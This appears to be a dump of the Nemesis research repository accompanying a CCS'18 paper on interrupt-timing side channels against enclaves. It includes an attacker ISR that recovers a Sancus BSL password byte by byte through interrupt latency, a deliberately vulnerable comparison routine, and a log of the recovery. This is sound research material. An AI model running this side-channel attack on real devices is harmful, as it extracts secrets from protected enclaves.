├── .github └── workflows │ └── sancus-ci.yaml ├── .gitignore ├── .gitmodules ├── .travis.yml ├── README.md ├── ccs18.pdf ├── sancus ├── Makefile ├── bsl │ ├── .gitignore │ ├── Makefile │ ├── logs │ │ └── screenlog.0 │ ├── main.c │ ├── sm-bsl.c │ ├── sm-bsl.h │ └── waveform_view.gtkw ├── keypad │ ├── .gitignore │ ├── Makefile │ ├── bin │ │ ├── keypad.elf │ │ └── sancus-core-irq-latency.mcs │ ├── keypad.v │ ├── keypad_mmio.c │ ├── keypad_mmio.h │ ├── logs │ │ ├── isr_press_release.txt │ │ ├── screenlog.txt │ │ └── sim.txt │ ├── main.c │ ├── sm-pin.c │ ├── sm-pin.h │ └── waveform_view.gtkw ├── plot.py └── stubs │ ├── Makefile │ ├── Makefile.include │ ├── multiplication-stub │ ├── Makefile │ ├── foo-mul-trace.txt │ ├── foo-mul.c │ ├── foo-mul.h │ ├── leak.py │ └── main.c │ ├── signed-division-stub │ ├── Makefile │ ├── foo-signed-div-trace.txt │ ├── foo-signed-div.c │ ├── foo-signed-div.h │ ├── leak.py │ └── main.c │ ├── signed-modulo-stub │ ├── Makefile │ ├── foo-signed-mod-trace.txt │ ├── foo-signed-mod.c │ ├── foo-signed-mod.h │ ├── leak.py │ └── main.c │ ├── unsigned-division-stub │ ├── Makefile │ ├── foo-unsigned-div-trace.txt │ ├── foo-unsigned-div.c │ ├── foo-unsigned-div.h │ ├── leak.py │ └── main.c │ └── unsigned-modulo-stub │ ├── Makefile │ ├── foo-unsigned-mod-trace.txt │ ├── foo-unsigned-mod.c │ ├── foo-unsigned-mod.h │ ├── leak.py │ └── main.c ├── sancus_keystroke_trace_annotated.png ├── sgx ├── .gitignore ├── Enclave │ ├── .gitignore │ ├── Makefile │ ├── asm.S │ ├── build_asm.py │ ├── encl.c │ ├── encl.config.xml │ └── encl.edl ├── Makefile ├── data │ ├── bsearch_100_left_right_eq │ │ ├── boxplot.pdf │ │ ├── encl.so │ │ ├── out.txt │ │ └── trace.pdf │ ├── ubench │ │ ├── add.txt │ │ ├── cache.pdf │ │ ├── div.pdf │ │ ├── div │ │ │ ├── div-comparison.pdf │ │ │ ├── div-rax-min.pdf │ │ │ ├── div-rax-min.txt │ │ │ ├── div-rdx-cmp.pdf │ │ │ ├── div-rdx-half.pdf │ │ │ ├── div-rdx-half.txt │ │ │ ├── div-rdx-max.pdf │ │ │ ├── div-rdx-max.txt │ │ │ ├── div-rdx-min.pdf │ │ │ └── div-rdx-min.txt │ │ ├── encl-load-store-movnti-fine.pdf │ │ ├── encl-load-store-movnti-line.pdf │ │ ├── encl-load-store-movnti.pdf │ │ ├── fscale.txt │ │ ├── inst.pdf │ │ ├── lfence.pdf │ │ ├── lfence.txt │ │ ├── load-encl.pdf │ │ ├── load-encl.txt │ │ ├── load-enclave-clflush.pdf │ │ ├── load-enclave-clflush.txt │ │ ├── load-pte-code-data-flush.pdf │ │ ├── load-pte-code-data-flush.txt │ │ ├── load-pte-data-flush.pdf │ │ ├── load-pte-data-flush.txt │ │ ├── load-store-encl.pdf │ │ ├── load-store-movnti-flush.pdf │ │ ├── movnti-encl.pdf │ │ ├── movnti-encl.txt │ │ ├── nop-add-fscale-rdrand.pdf │ │ ├── nop-add.pdf │ │ ├── nop-add2.pdf │ │ ├── nop-add3.pdf │ │ ├── nop-fscale-rdrand.pdf │ │ ├── nop-fscale.pdf │ │ ├── nop-pte-flush.pdf │ │ ├── nop-pte-flush.txt │ │ ├── nop-rdrand.pdf │ │ ├── nop.pdf │ │ ├── nop.txt │ │ ├── pte.pdf │ │ ├── rdrand.pdf │ │ ├── rdrand.txt │ │ ├── store-encl.pdf │ │ ├── store-encl.txt │ │ └── store-movnti-encl.pdf │ └── zz_100 │ │ ├── boxplot.pdf │ │ ├── encl.so │ │ ├── out.txt │ │ └── zz_trace_100.pdf ├── libnemesis.py ├── main.c ├── parse.sh ├── parse_bsearch.py ├── parse_micro.py ├── parse_zz.py ├── plot_hist.gp └── plot_trace.gp └── thumbnail.png /.github/workflows/sancus-ci.yaml: -------------------------------------------------------------------------------- 1 | name: Sancus attack simulation 2 | on: 3 | push: 4 | pull_request: 5 | # trigger a cron job every monday at 8am 6 | schedule: 7 | - cron: '00 08 * * MON' 8 | 9 | jobs: 10 | test-sancus: 11 | name: Test ${{ matrix.target }} (${{ matrix.sancus-security}}-bit security) 12 | runs-on: ubuntu-latest 13 | container: 14 | # sancus-devel Docker container is regularly built and published in the sancus-main Action Workflow 15 | image: docker.pkg.github.com/sancus-tee/sancus-main/sancus-devel-${{ matrix.sancus-security }}:latest 16 | credentials: 17 | username: ${{ github.actor }} 18 | password: ${{ secrets.GITHUB_TOKEN }} 19 | strategy: 20 | matrix: 21 | target: [bsl, multiplication-stub, signed-division-stub, signed-modulo-stub, unsigned-division-stub, unsigned-modulo-stub] 22 | sancus-security: [64, 128] 23 | 24 | steps: 25 | - uses: actions/checkout@v2 26 | name: Pull repository 27 | - run: cd sancus && make --always-make SANCUS_SECURITY=${{ matrix.sancus-security }} TRAVIS=1 ${{ matrix.target }} 28 | name: Build and run ${{ matrix.target }} @ ${{ matrix.sancus-security}}-bit security 29 | 30 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.swp 3 | *.a 4 | 5 | *.swo 6 | 7 | *.ko 8 | *.cmd 9 | *.symvers 10 | *.order 11 | *.mod.c 12 | .tmp_versions 13 | 14 | *~ 15 | *.o.* 16 | *.mk 17 | 18 | *.elf 19 | screenlog.* 20 | 21 | *.out 22 | *.bin 23 | *.fst 24 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "sgx/sgx-step"] 2 | path = sgx/sgx-step 3 | url = https://github.com/jovanbulck/sgx-step.git 4 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | dist: trusty 2 | sudo: required 3 | 4 | notifications: 5 | email: true 6 | 7 | services: 8 | - docker 9 | 10 | language: c 11 | 12 | before_install: 13 | - echo "$DOCKER_PASSWORD" | docker login -u "$DOCKER_USERNAME" --password-stdin 14 | - docker pull jovanbulck/sancus-devel-$SECURITY 15 | 16 | script: 17 | - docker run -t jovanbulck/sancus-devel-$SECURITY /bin/sh -c \ 18 | "git clone https://github.com/jovanbulck/nemesis.git && cd nemesis/$TARGET_DIR && 19 | git checkout $TRAVIS_BRANCH && make SANCUS_SECURITY=$SECURITY TRAVIS=1 $TARGET" 20 | - docker ps -a 21 | 22 | env: 23 | - TARGET_DIR=sancus/stubs TARGET=multiplication-stub.sim SECURITY=64 24 | - TARGET_DIR=sancus/stubs TARGET=signed-division-stub.sim SECURITY=64 25 | - TARGET_DIR=sancus/stubs TARGET=signed-modulo-stub.sim SECURITY=64 26 | - TARGET_DIR=sancus/stubs TARGET=unsigned-division-stub.sim SECURITY=64 27 | - TARGET_DIR=sancus/stubs TARGET=unsigned-modulo-stub.sim SECURITY=64 28 | - TARGET_DIR=sancus/bsl TARGET=sim SECURITY=64 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Nemesis: Studying microarchitectural timing leaks in rudimentary CPU interrupt logic 2 | [![Sancus attacks](https://github.com/jovanbulck/nemesis/actions/workflows/sancus-ci.yaml/badge.svg)](https://github.com/jovanbulck/nemesis/actions/workflows/sancus-ci.yaml) 3 | 4 | This repository contains the source code accompanying our 5 | [paper](https://people.cs.kuleuven.be/~jo.vanbulck/ccs18.pdf) 6 | on interrupt timing attacks which appears in the 7 | 25th ACM Conference on Computer and Communications Security (CCS'18). 8 | 9 | > Jo Van Bulck, Frank Piessens, and Raoul Strackx. 2018. Nemesis: Studying 10 | > Microarchitectural Timing Leaks in Rudimentary CPU Interrupt Logic. In 11 | > Proceedings of the 25th ACM Conference on Computer and Communications 12 | > Security (CCS'18). 13 | 14 | ## Abstract 15 | 16 | Recent research on transient execution vulnerabilities shows that current 17 | processors exceed our levels of understanding. The prominent Meltdown and 18 | Spectre attacks abruptly revealed fundamental design flaws in CPU pipeline 19 | behavior and exception handling logic, urging the research community to 20 | systematically study attack surface from microarchitectural interactions. 21 | 22 | We present Nemesis, a previously overlooked side-channel attack vector that 23 | abuses the CPU's interrupt mechanism to leak microarchitectural instruction 24 | timings from enclaved execution environments such as Intel SGX, Sancus, and 25 | TrustLite. At its core, Nemesis abuses the same subtle microarchitectural 26 | behavior that enables Meltdown, i.e., exceptions and interrupts are delayed 27 | until instruction retirement. We show that by measuring the latency of a 28 | carefully timed interrupt, an attacker controlling the system software is able 29 | to infer instruction-granular execution state from hardware-enforced enclaves. 30 | In contrast to speculative execution vulnerabilities, our novel attack vector 31 | is applicable to the whole computing spectrum, from small embedded sensor nodes 32 | to high-end commodity x86 hardware. We present practical interrupt timing 33 | attacks against the open-source Sancus embedded research processor, and we show 34 | that interrupt latency reveals microarchitectural instruction timings from 35 | off-the-shelf Intel SGX enclaves. Finally, we discuss challenges for 36 | mitigating Nemesis-type attacks at the hardware and software levels. 37 | 38 | ![thumbnail](thumbnail.png) 39 | ![sancus-trace](sancus_keystroke_trace_annotated.png) 40 | 41 | ## Source code overview [![Sancus attacks](https://github.com/jovanbulck/nemesis/actions/workflows/sancus-ci.yaml/badge.svg)](https://github.com/jovanbulck/nemesis/actions/workflows/sancus-ci.yaml) 42 | 43 | We evaluated interrupt timing attacks on two case study platforms. 44 | 45 | - **Sancus:** this directory contains source code for the secure keypad and BSL 46 | applications scenarios plus corresponding attacker code. Note that the secure 47 | interrupt architectural extensions we implemented for this work have been 48 | upstreamed to the open-source 49 | [sancus-core](https://github.com/sancus-tee/sancus-core) and 50 | [sancus-compiler](https://github.com/sancus-tee/sancus-compiler) repositories. 51 | 52 | - **Intel SGX:** this directory contains source code for the microbenchmarks, 53 | binary search, and Zigzagger enclave evaluation scenarios plus corresponding 54 | attacker code and post-processing scripts. Note that the single-stepping 55 | framework enhancements we developed for this work have been upstreamed to the 56 | open-source [SGX-Step](https://github.com/jovanbulck/sgx-step) repository. 57 | 58 | ## License 59 | 60 | All Nemesis code is free software, licensed under 61 | [GPLv3](https://www.gnu.org/licenses/gpl-3.0). 62 | -------------------------------------------------------------------------------- /ccs18.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/ccs18.pdf -------------------------------------------------------------------------------- /sancus/Makefile: -------------------------------------------------------------------------------- 1 | bsl: 2 | make -C bsl sim 3 | 4 | %-stub: 5 | make -C stubs $@.sim 6 | -------------------------------------------------------------------------------- /sancus/bsl/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.fst 3 | *.fst.hier 4 | *.bin 5 | *.elf 6 | *.elf-no-macs 7 | *.out 8 | 9 | stimulus.v 10 | -------------------------------------------------------------------------------- /sancus/bsl/Makefile: -------------------------------------------------------------------------------- 1 | ifndef SANCUS_DIR 2 | SANCUS_SUPPORT_DIR = "/usr/local/share/sancus-support" 3 | else 4 | SANCUS_SUPPORT_DIR = ${SANCUS_DIR}/share/sancus-support 5 | endif 6 | 7 | ifndef SANCUS_SECURITY 8 | SANCUS_SECURITY = 64 9 | endif 10 | ifeq ($(SANCUS_SECURITY), 64) 11 | SANCUS_KEY = deadbeefcafebabe 12 | else 13 | SANCUS_KEY = deadbeefcafebabec0defeeddefec8ed 14 | endif 15 | 16 | CC = sancus-cc 17 | LD = sancus-ld 18 | SANCUS_CRYPTO = sancus-crypto 19 | SANCUS_SIM = sancus-sim 20 | SANCUS_LOAD = sancus-loader 21 | RM = rm -f 22 | 23 | VENDOR_ID = 1234 24 | RAM_SIZE = 16K 25 | ROM_SIZE = 41K 26 | FPGA_DEV = /dev/ttyUSB0 27 | FPGA_RATE = 115200 28 | 29 | VENDOR_KEY = $(shell $(SANCUS_CRYPTO) --key $(SANCUS_KEY) --gen-vendor-key $(VENDOR_ID) | xxd -p) 30 | MEMFLAGS = --ram $(RAM_SIZE) --rom $(ROM_SIZE) 31 | 32 | CFLAGS = -I$(SANCUS_SUPPORT_DIR)/include/ -Wfatal-errors -fcolor-diagnostics -Os -g 33 | LDFLAGS = -L$(SANCUS_SUPPORT_DIR)/lib/ $(MEMFLAGS) -lsm-io -ldev --inline-arithmetic --standalone --verbose 34 | SIMFLAGS = #$(MEMFLAGS) 35 | CRYPTOFLAGS = --key $(VENDOR_KEY) --verbose 36 | LOADFLAGS = -device $(FPGA_DEV) -baudrate $(FPGA_RATE) 37 | 38 | ifdef TRAVIS 39 | SIMFLAGS += --crypto-noshow 40 | CFLAGS += -DTRAVIS=1 41 | endif 42 | 43 | ifeq ($(QUIET),1) 44 | CFLAGS += -DQUIET 45 | endif 46 | 47 | SOURCES = $(shell ls *.c) 48 | OBJECTS = $(SOURCES:.c=.o) 49 | 50 | TARGET = main.elf 51 | TARGET_NO_MAC = no_mac_$(TARGET) 52 | 53 | all: $(TARGET) 54 | 55 | $(TARGET_NO_MAC): $(OBJECTS) 56 | $(LD) $(LDFLAGS) -lsancus-step -o $@ $^ 57 | 58 | $(TARGET): $(TARGET_NO_MAC) 59 | $(SANCUS_CRYPTO) --fill-macs $(CRYPTOFLAGS) -o $@ $< 60 | 61 | load: $(TARGET) 62 | $(SANCUS_LOAD) $(LOADFLAGS) $< 63 | 64 | sim: $(TARGET) 65 | unbuffer $(SANCUS_SIM) $(SIMFLAGS) $< | tee sim.out 66 | ! grep -iqE "fail|error:" sim.out 67 | grep -iq "all done; exiting.." sim.out 68 | 69 | clean: 70 | $(RM) $(TARGET) $(TARGET_NO_MAC) $(OBJECTS) 71 | rm -f sim-input.bin sim-output.bin 72 | rm -f *.fst *.vcd 73 | -------------------------------------------------------------------------------- /sancus/bsl/logs/screenlog.0: -------------------------------------------------------------------------------- 1 | 2 | 3 | ------------------------ 4 | [main] Hi from main... 5 | 6 | SM sm_bsl with ID 1 enabled : 0x966c 0x99f0 0x0200 0x030e 7 | [main] testing balanced BSL for end-to-end execution timing attack.. 8 | ivt[0] is 0xc0 9 | ivt[1] is 0x83 10 | ivt[2] is 0xc0 11 | ivt[3] is 0x83 12 | ivt[4] is 0xc0 13 | ivt[5] is 0x83 14 | ivt[6] is 0xc0 15 | ivt[7] is 0x83 16 | ivt[8] is 0xc0 17 | ivt[9] is 0x83 18 | ivt[10] is 0xc0 19 | ivt[11] is 0x83 20 | ivt[12] is 0xc0 21 | ivt[13] is 0x83 22 | ivt[14] is 0x48 23 | ivt[15] is 0x88 24 | ivt[16] is 0x48 25 | ivt[17] is 0x84 26 | ivt[18] is 0xc0 27 | ivt[19] is 0x83 28 | ivt[20] is 0xc0 29 | ivt[21] is 0x83 30 | ivt[22] is 0xc0 31 | ivt[23] is 0x83 32 | ivt[24] is 0xc0 33 | ivt[25] is 0x83 34 | ivt[26] is 0xac 35 | ivt[27] is 0x84 36 | ivt[28] is 0xc0 37 | ivt[29] is 0x83 38 | ivt[30] is 0x0 39 | ivt[31] is 0x80 40 | Unbalanced: wrong pwd[0] byte with TSC 796 41 | Unbalanced: wrong pwd[0]+[1] bytes with TSC 798 42 | Balanced: wrong pwd[0] byte with TSC 913 43 | Unbalanced: wrong pwd[0]+[1] bytes with TSC 913 44 | --> OK 45 | Attacking 0th password byte 46 | [isr] 0th pasword byte is 0xc0 47 | Attacking 1th password byte 48 | [isr] 1th pasword byte is 0x83 49 | Attacking 2th password byte 50 | [isr] 2th pasword byte is 0xc0 51 | Attacking 3th password byte 52 | [isr] 3th pasword byte is 0x83 53 | Attacking 4th password byte 54 | [isr] 4th pasword byte is 0xc0 55 | Attacking 5th password byte 56 | [isr] 5th pasword byte is 0x83 57 | Attacking 6th password byte 58 | [isr] 6th pasword byte is 0xc0 59 | Attacking 7th password byte 60 | [isr] 7th pasword byte is 0x83 61 | Attacking 8th password byte 62 | [isr] 8th pasword byte is 0xc0 63 | Attacking 9th password byte 64 | [isr] 9th pasword byte is 0x83 65 | Attacking 10th password byte 66 | [isr] 10th pasword byte is 0xc0 67 | Attacking 11th password byte 68 | [isr] 11th pasword byte is 0x83 69 | Attacking 12th password byte 70 | [isr] 12th pasword byte is 0xc0 71 | Attacking 13th password byte 72 | [isr] 13th pasword byte is 0x83 73 | Attacking 14th password byte 74 | [isr] 14th pasword byte is 0x48 75 | Attacking 15th password byte 76 | [isr] 15th pasword byte is 0x88 77 | Attacking 16th password byte 78 | [isr] 16th pasword byte is 0x48 79 | Attacking 17th password byte 80 | [isr] 17th pasword byte is 0x84 81 | Attacking 18th password byte 82 | [isr] 18th pasword byte is 0xc0 83 | Attacking 19th password byte 84 | [isr] 19th pasword byte is 0x83 85 | Attacking 20th password byte 86 | [isr] 20th pasword byte is 0xc0 87 | Attacking 21th password byte 88 | [isr] 21th pasword byte is 0x83 89 | Attacking 22th password byte 90 | [isr] 22th pasword byte is 0xc0 91 | Attacking 23th password byte 92 | [isr] 23th pasword byte is 0x83 93 | Attacking 24th password byte 94 | [isr] 24th pasword byte is 0xc0 95 | Attacking 25th password byte 96 | [isr] 25th pasword byte is 0x83 97 | Attacking 26th password byte 98 | [isr] 26th pasword byte is 0xac 99 | Attacking 27th password byte 100 | [isr] 27th pasword byte is 0x84 101 | Attacking 28th password byte 102 | [isr] 28th pasword byte is 0xc0 103 | Attacking 29th password byte 104 | [isr] 29th pasword byte is 0x83 105 | Attacking 30th password byte 106 | [isr] 30th pasword byte is 0x0 107 | Attacking 31th password byte 108 | 109 | [main] exiting... 110 | -------------------------------------------------------------------------------- /sancus/bsl/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "sm-bsl.h" 7 | #include 8 | 9 | /* 10 | * Number of cycles up to first conditional jump in balanced BSL password 11 | * comparison routine. (Experimental value) 12 | */ 13 | #define FIRST_NOP_POINT 42 14 | #define NOP_INTERVAL 11 15 | #define NOP_LATENCY 1 16 | 17 | char dummy_pwd[BSL_PASSWORD_LENGTH] = {0x02, 0x01}; 18 | char guess[BSL_PASSWORD_LENGTH] = {0}; 19 | char *ivt = (char*) INTERRUPT_VECTOR_START; 20 | 21 | unsigned int step = 1; 22 | unsigned int byte_index = 0; 23 | bool correct = false; 24 | 25 | void attacker_isr(void) { 26 | unsigned int latency = __ss_get_latency(); 27 | if (step == FIRST_NOP_POINT + byte_index * NOP_INTERVAL) { 28 | if (latency == NOP_LATENCY) { 29 | correct = true; 30 | pr_info2("Found pwd[%d]=0x%x\n", byte_index, guess[byte_index] & 0xff); 31 | if (guess[byte_index] != ivt[byte_index]) 32 | pr_info("error: guess wrong"); 33 | 34 | /* HACK: simulator seems to hang so terminate on last byte recovery */ 35 | if (byte_index == (BSL_PASSWORD_LENGTH - 1)) 36 | { 37 | FINISH(); 38 | } 39 | } 40 | } 41 | step++; 42 | } 43 | 44 | int main(void) 45 | { 46 | msp430_io_init(); 47 | asm("eint\n\t"); 48 | sancus_enable(&sm_bsl); 49 | 50 | char ivt_wrong1[BSL_PASSWORD_LENGTH], ivt_wrong2[BSL_PASSWORD_LENGTH]; 51 | for (int i = 0; i < BSL_PASSWORD_LENGTH; i++) 52 | { 53 | pr_info2("ivt[%d] is 0x%x\n", i, ivt[i] & 0xff); 54 | ivt_wrong1[i] = ivt[i]; 55 | ivt_wrong2[i] = ivt[i]; 56 | } 57 | ivt_wrong1[0] = 0xaa; 58 | ivt_wrong2[0] = 0xaa; 59 | ivt_wrong2[1] = 0xaa; 60 | 61 | /** Reference measurements to ensure balancing masks timing differences **/ 62 | pr_info("Testing balanced BSL for end-to-end execution timing attack..."); 63 | 64 | int tsc1, tsc2, tsc3, tsc4; 65 | 66 | timer_tsc_start(); 67 | BSL430_unlock_BSL_unbalanced(ivt_wrong1); 68 | tsc1 = timer_tsc_end(); 69 | 70 | timer_tsc_start(); 71 | BSL430_unlock_BSL_unbalanced(ivt_wrong2); 72 | tsc2 = timer_tsc_end(); 73 | 74 | timer_tsc_start(); 75 | BSL430_unlock_BSL_balanced(ivt_wrong1); 76 | tsc3 = timer_tsc_end(); 77 | 78 | timer_tsc_start(); 79 | BSL430_unlock_BSL_balanced(ivt_wrong2); 80 | tsc4 = timer_tsc_end(); 81 | 82 | pr_info1("Unbalanced: wrong pwd[0] byte with TSC %d\n", tsc1); 83 | pr_info1("Unbalanced: wrong pwd[0]+[1] bytes with TSC %d\n", tsc2); 84 | pr_info1("Balanced: wrong pwd[0] byte with TSC %d\n", tsc3); 85 | pr_info1("Balanced: wrong pwd[0]+[1] bytes with TSC %d\n", tsc4); 86 | 87 | if (tsc1 + 2 != tsc2) 88 | pr_info("--> error: unbalanced BSL is not retarded by two cycles.\n"); 89 | else if (tsc3 != tsc4) 90 | pr_info("--> error: hardened BSL pwd comparison is unbalanced..\n"); 91 | else 92 | pr_info("--> OK"); 93 | 94 | /** Attack balanced BSL byte per byte through IRQ latency **/ 95 | 96 | for (byte_index = 0; byte_index < BSL_PASSWORD_LENGTH; byte_index++) 97 | { 98 | correct = false; 99 | 100 | for (int pwd_byte = 0; pwd_byte < 256 && !correct; pwd_byte++) 101 | { 102 | pr_info2("byte=%02d; guess=%02d\n", byte_index, pwd_byte); 103 | guess[byte_index] = (char) pwd_byte; 104 | step = 1; 105 | __ss_start(); 106 | BSL430_unlock_BSL_balanced(guess); 107 | } 108 | } 109 | 110 | FINISH(); 111 | } 112 | 113 | SANCUS_STEP_ISR_ENTRY2(attacker_isr, __ss_end); 114 | -------------------------------------------------------------------------------- /sancus/bsl/sm-bsl.c: -------------------------------------------------------------------------------- 1 | #include "sm-bsl.h" 2 | #include 3 | #include 4 | 5 | DECLARE_SM(sm_bsl, 0x1234); 6 | 7 | #define MASS_ERASE_DELAY 0x8000 8 | 9 | #define LOCKED 0x00 10 | #define UNLOCKED 0xA5A5 11 | unsigned int SM_DATA(sm_bsl) LockedStatus; 12 | 13 | char SM_FUNC(sm_bsl) BSL430_massErase(void) 14 | { 15 | return SUCCESSFUL_OPERATION; 16 | } 17 | 18 | /* 19 | * Vulnerable password comparison routine based on TI MSP430 BSL v9 and v2.01. 20 | * 21 | * Texas Instruments (http://www.ti.com/tool/mspbsl) does not anymore provide 22 | * source code or binaries for BSL versions prior to version 8. We therefore 23 | * based the _vulnerable_ password comparison loop on the assembly code snippet 24 | * published in: T. Goodspeed, "Practical attacks against the MSP430 BSL", 25 | * Twenty-Fifth Chaos Communications Congress, 2008. 26 | * 27 | * The C code skeleton below is taken verbatim from the _invulnerable_ password 28 | * comparison routine of the latest TI BSL v9. 29 | */ 30 | 31 | /******************************************************************************* 32 | * *Function: BSL430_unlock_BSL 33 | * *Description: Causes the BSL to compare the data buffer against the BSL password 34 | * BSL state will be UNLOCKED if successful 35 | * *Parameters: 36 | * char* data A pointer to an array containing the password 37 | * *Returns: 38 | * SUCCESSFUL_OPERATION All data placed into data array successfully 39 | * BSL_PASSWORD_ERROR Correct Password was not given 40 | *******************************************************************************/ 41 | char SM_ENTRY(sm_bsl) BSL430_unlock_BSL_unbalanced(char* data) 42 | { 43 | int i; 44 | int retValue = 0; 45 | char *interrupts = (char*)INTERRUPT_VECTOR_START; 46 | /* BSL version from v2.2.09 on use a password comparison loop based on XOR, 47 | * as recommended in Goodspeed2008 to prevent timing side-channels. Our 48 | * _vulnerable_ implementation is based on published asm code from v2.12. 49 | */ 50 | 51 | /*for (i = 0; i <= (INTERRUPT_VECTOR_END - INTERRUPT_VECTOR_START); i++, interrupts++) 52 | { 53 | retValue |= *interrupts ^ data[i]; 54 | }*/ 55 | 56 | asm("mov %0, r11 \n\t" /* retValue */ 57 | "mov %1, r6 \n\t" /* data ptr */ 58 | "mov %2, r13 \n\t" /* ivt ptr */ 59 | "mov %3, r7 \n\t" /* i cntr */ 60 | "4: tst r7 \n\t" 61 | "jz 2f \n\t" 62 | "mov.b @r13+, r12 \n\t" 63 | /* --- START asm code BSLv2.12 --- */ 64 | "cmp.b @r6+, r12 \n\t" 65 | "jz 1f \n\t" 66 | "bis #0x40, r11 \n\t" 67 | "1: dec r7 \n\t" 68 | /* --- END asm code BSLv2.12 --- */ 69 | "jmp 4b \n\t" 70 | "2: mov r11, %0 \n\t" 71 | :"=m"(retValue) 72 | :"m"(data),"m"(interrupts), 73 | "i"(BSL_PASSWORD_LENGTH) 74 | :"r6","r7","r11","r12","r13"); 75 | 76 | if (retValue == 0) 77 | { 78 | #ifndef RAM_WRITE_ONLY_BSL 79 | volatile int i; 80 | for (i = MASS_ERASE_DELAY - 1; i > 0; i--) ; 81 | #endif 82 | LockedStatus = UNLOCKED; 83 | return SUCCESSFUL_OPERATION; 84 | } 85 | else 86 | { 87 | BSL430_massErase(); 88 | return BSL_PASSWORD_ERROR; 89 | } 90 | } 91 | 92 | #ifdef LEAK_BSL_TSC 93 | int spy_tsc; 94 | #endif 95 | 96 | char SM_ENTRY(sm_bsl) BSL430_unlock_BSL_balanced(char* data) 97 | { 98 | int i; 99 | int retValue = 0; 100 | char *interrupts = (char*)INTERRUPT_VECTOR_START; 101 | 102 | /* 103 | * We close the timing channel above by carefully balancing the else branch 104 | * with no-op compensation code. 105 | */ 106 | asm( 107 | /* r11 = retValue */ 108 | "mov %0, r11 \n\t" 109 | /* r6 = data */ 110 | "mov %1, r6 \n\t" 111 | /* r13 = interrupts */ 112 | "mov %2, r13 \n\t" 113 | /* r7 = length-1 */ 114 | "mov %3, r7 \n\t" 115 | /* if r7 == 0 */ 116 | "4: tst r7 \n\t" 117 | /* jump to label "3" if all (-1?) bytes have been checked */ 118 | "jz 3f \n\t" 119 | /* copy byte from interrupts array and increment r13 (move a character) */ 120 | "mov.b @r13+, r12 \n\t" 121 | /* --- START _modified_ asm code BSLv2.12 --- */ 122 | /* compare byte from data array to interrupts array and increment (move) */ 123 | "cmp.b @r6+, r12 \n\t" 124 | /* if the characters match, jump to label "1" */ 125 | "jz 1f \n\t" 126 | #ifdef LEAK_BSL_TSC 127 | "mov &%4, &spy_tsc \n\t" 128 | #endif 129 | /* retValue register set to error value */ 130 | "bis #0x40, r11 \n\t" 131 | /* jump to label "2" */ 132 | "jmp 2f \n\t" 133 | /* label "1": nop block for when characters match */ 134 | "1: nop \n\t" 135 | "nop \n\t" 136 | "nop \n\t" 137 | "nop \n\t" 138 | /* label "2": decrement length counter */ 139 | "2: dec r7 \n\t" 140 | /* --- END _modified_ asm code BSLv2.12 --- */ 141 | /* jump to label "4" (loop start) */ 142 | "jmp 4b \n\t" 143 | /* label "3": all bytes have been checked, return retValue */ 144 | "3: mov r11, %0 \n\t" 145 | : 146 | "=m"(retValue) // %0 147 | : 148 | "m"(data), // %1 149 | "m"(interrupts), // %2 150 | "i"(BSL_PASSWORD_LENGTH) // %3 151 | #ifdef LEAK_BSL_TSC 152 | , "m"(TAR) 153 | #endif 154 | :"r6","r7","r11","r12","r13" 155 | ); 156 | 157 | if (retValue == 0) 158 | { 159 | #ifndef RAM_WRITE_ONLY_BSL 160 | volatile int i; 161 | for (i = MASS_ERASE_DELAY - 1; i > 0; i--) ; 162 | #endif 163 | LockedStatus = UNLOCKED; 164 | return SUCCESSFUL_OPERATION; 165 | } 166 | else 167 | { 168 | BSL430_massErase(); 169 | return BSL_PASSWORD_ERROR; 170 | } 171 | } 172 | -------------------------------------------------------------------------------- /sancus/bsl/sm-bsl.h: -------------------------------------------------------------------------------- 1 | #ifndef SM_BSL_H 2 | #define SM_BSL_H 3 | 4 | #include 5 | 6 | extern struct SancusModule sm_bsl; 7 | 8 | char SM_ENTRY(sm_bsl) BSL430_unlock_BSL_unbalanced(char* data); 9 | char SM_ENTRY(sm_bsl) BSL430_unlock_BSL_balanced(char* data); 10 | 11 | #define SUCCESSFUL_OPERATION 0x00 12 | #define BSL_PASSWORD_ERROR 0x05 13 | 14 | 15 | /* NOTE: speed up Travis-CI builds */ 16 | #ifdef TRAVIS 17 | #define BSL_PASSWORD_LENGTH 2 18 | #define INTERRUPT_VECTOR_START (dummy_pwd) 19 | extern char dummy_pwd[BSL_PASSWORD_LENGTH]; 20 | #else 21 | #define INTERRUPT_VECTOR_START 0xFFE0 22 | #define INTERRUPT_VECTOR_END 0xFFFF 23 | #define BSL_PASSWORD_LENGTH (INTERRUPT_VECTOR_END - INTERRUPT_VECTOR_START + 1) 24 | #endif 25 | 26 | //#define LEAK_BSL_TSC 27 | #ifdef LEAK_BSL_TSC 28 | #warning leaking bsl tsc for testing purposes... 29 | extern int spy_tsc; 30 | #endif 31 | 32 | #endif 33 | -------------------------------------------------------------------------------- /sancus/bsl/waveform_view.gtkw: -------------------------------------------------------------------------------- 1 | [*] 2 | [*] GTKWave Analyzer v3.3.58 (w)1999-2014 BSI 3 | [*] Thu Sep 1 16:31:10 2016 4 | [*] 5 | [dumpfile] "/media/DATA/Documents/sgx/sgx-laptop/sgx-irq-latency/sancus-keypad/sancus_sim.fst" 6 | [dumpfile_mtime] "Thu Sep 1 16:25:02 2016" 7 | [dumpfile_size] 28959004 8 | [savefile] "/media/DATA/Documents/sgx/sgx-laptop/sgx-irq-latency/sancus-keypad/waveform_view.gtkw" 9 | [timestart] 10015311000 10 | [size] 1920 1006 11 | [pos] -919 -406 12 | *-16.000000 10015475000 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 13 | [treeopen] sancus_sim. 14 | [treeopen] sancus_sim.timerA_0. 15 | [sst_width] 201 16 | [signals_width] 198 17 | [sst_expanded] 1 18 | [sst_vpaned_height] 298 19 | @28 20 | sancus_sim.dut.mclk 21 | @22 22 | sancus_sim.dut.current_inst_pc[15:0] 23 | @820 24 | sancus_sim.inst_full[255:0] 25 | @821 26 | sancus_sim.e_state[255:0] 27 | 